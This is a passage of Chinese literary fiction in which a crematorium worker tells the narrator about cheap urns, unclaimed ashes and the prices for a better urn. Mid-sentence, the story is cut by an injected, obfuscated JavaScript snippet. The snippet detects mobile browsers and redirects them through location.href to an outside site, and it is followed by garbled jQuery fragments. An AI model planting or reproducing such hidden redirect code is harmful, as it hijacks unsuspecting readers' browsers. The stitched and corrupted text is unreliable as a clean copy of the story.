老头从饭盒里抬起头，看了我一眼，那眼神像在看一个外星人：“不然呢？想要好的？有啊，陶瓷的，大理石的，甚至还有镶玉的。得加钱。”

    “不是，我是说……”我不知道该怎么表达，“他……他是个人啊。”

    老头放下筷子，用纸巾擦了擦嘴。他点起一支烟，深吸一口，烟雾在惨白的灯光下缓缓升起。

    “小伙子，我在这干了二十三年了。”他说，声音还是沙哑的，但多了一点什么东西，像是疲惫，也像是某种看透一切的麻木，“我经手的骨灰盒，少说也有几万个。什么样的没见过？有全家破产跳楼死的，装骨灰的盒子是儿子用鞋盒改的。有孤寡老人死在家里一个月才被发现，遗体都腐烂了，火化后骨灰里还有蛆虫的壳。还有小孩子，夭折的，骨灰就一小把，装在那种装糖果的铁盒里。”

    他弹了弹烟灰：“你这个……至少还有个正经盒子。虽然是便宜的，但至少是个盒子。你知道我们这每天有多少无主遗体吗？那些连盒子都没有的，火化完后，骨灰就用塑料袋一装，写上编号，堆在墙角。攒够一批，拉去山上，挖个坑，一倒，埋了。连个记号都没有。”

    他指了指房间深处：“那边，C区，全是塑料袋装的。你要不要去看看？”

    我摇了摇头。胃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17016471|194201||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    里一阵翻腾。

    “所以啊，”老头继续说，“人死了，就什么都没了。什么尊严，什么价值，都是活着的人自己想出来的。死了，就是一把灰。区别只在于，有人记得你，你的灰就有人来领，放在个像样的地方，每年有人来看看。没人记得你，你的灰就跟别的灰混在一起，变成土，变成泥，最后啥也不是。”

    他掐灭烟，把饭盒盖上：“看完了吗？看完我放回去了。”

    我看着那个木盒子。标签上“金卫国”三个字，是用打印机打出来的宋体字，工整，但冰冷。没有手写的温度，没有个性的笔迹。就像他的一生——被各种表格、编号、规定所定义，从来没有真正被当作一个“人”来对待。活着的时候是“下岗工人金卫国”，是“贫困户金卫国”，是“上访户金卫国”。死了，是“B-347号遗体”，现在是“B-347号骨灰”。

    连个名字都不配拥有。只有编号。

    “我能……我能买个好点的盒子吗？”我问，“我出钱，给他换个好点的骨灰坛，刻上名字。”

    老头又看了我一眼，这次眼神稍微缓和了点：“你不是亲属，不能办手续。但如果你真想，可以这样：你出钱，买个好的骨灰坛，放在我们这寄存。等哪天他女儿长大了，或者法院指定了监护人，手续齐全了，可以把骨灰换到新坛子里。但原来的盒子，我们得留着，因为编号和标签对不上，我们没法销账。”

    “那要多少钱？”

    “最便宜的陶瓷坛，三百八。好点的，有雕刻的，六百到一千。最好的，那种仿古青花瓷的，三千以上。”老头熟练地报出价格，像在菜市场卖菜，“寄存费另算，一年两百。如果一直没人来领，坛子我们也不能一直存着，最多存五年。五年后如果还没人办手续，就按无主处理，坛子我们收回，骨灰……你知道的。”

    五年。五年后，贝贝二十岁，成年了。但以她的病情，她能活到二十岁吗？就